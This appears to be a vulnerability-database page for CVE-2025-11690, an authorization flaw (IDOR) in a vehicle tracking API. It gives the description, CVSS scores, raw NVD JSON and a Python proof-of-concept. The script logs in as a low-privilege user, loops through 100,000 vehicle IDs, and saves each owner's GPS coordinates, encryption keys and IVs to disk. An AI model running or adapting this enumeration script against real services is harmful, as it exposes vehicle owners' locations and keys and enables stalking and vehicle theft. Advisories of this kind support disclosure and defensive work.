Security Vulnerability Report
中文
CVE-2025-11690 CVSS 8.5 HIGH

CVE-2025-11690

Published: 2025-11-04 11:15:38
Last Modified: 2026-04-15 00:35:42

Description

An Insecure Direct Object Reference (IDOR) vulnerability exists in the vehicleId parameter, allowing unauthorized access to sensitive information of other users’ vehicles. Exploiting this issue enables an attacker to retrieve data such as GPS coordinates, encryption keys, initialization vectors, model numbers, and fuel statistics belonging to other users, instead of being limited to their own vehicle data. The fix for this vulnerability is a server-side authorization fix.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

车辆GPS追踪系统 - 未修复版本
摩托车远程监控系统 - 所有存在IDOR漏洞的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-11690 IDOR PoC # Target: Vehicle Tracking System # Vulnerability: Insecure Direct Object Reference in vehicleId parameter BASE_URL = "https://target-vehicle-api.example.com" # Login with low-privilege account login_data = { "username": "[email protected]", "password": "password123" } session = requests.Session() login_resp = session.post(f"{BASE_URL}/api/auth/login", json=login_data) if login_resp.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Exploit IDOR by manipulating vehicleId parameter # Try to access other users' vehicle data for vehicle_id in range(1, 100001): headers = { "Authorization": f"Bearer {session.cookies.get('token')}" } # Direct object reference - no server-side authorization check response = session.get( f"{BASE_URL}/api/vehicles/{vehicle_id}", headers=headers, params={"vehicleId": vehicle_id} ) if response.status_code == 200: data = response.json() print(f"[+] Found vehicle data: {vehicle_id}") print(f" GPS: {data.get('gps_coordinates')}") print(f" Model: {data.get('model_number')}") print(f" Encryption Key: {data.get('encryption_key')}") print(f" IV: {data.get('initialization_vector')}") print(f" Fuel Stats: {data.get('fuel_statistics')}") # Save to file with open(f"vehicle_{vehicle_id}_data.json", "w") as f: json.dump(data, f, indent=2) print("[*] Exploitation complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11690", "sourceIdentifier": "[email protected]", "published": "2025-11-04T11:15:37.573", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Insecure Direct Object Reference (IDOR) vulnerability exists in the vehicleId parameter, allowing unauthorized access to sensitive information of other users’ vehicles. Exploiting this issue enables an attacker to retrieve data such as GPS coordinates, encryption keys, initialization vectors, model numbers, and fuel statistics belonging to other users, instead of being limited to their own vehicle data. The fix for this vulnerability is a server-side authorization fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://advisories.ncsc.nl/2025/ncsc-2025-0350.html", "source": "[email protected]"}, {"url": "https://medium.com/@ilnur.khakimov_86612/how-i-hacked-100-000-motorcycles-including-my-own-666bdb702b7d", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}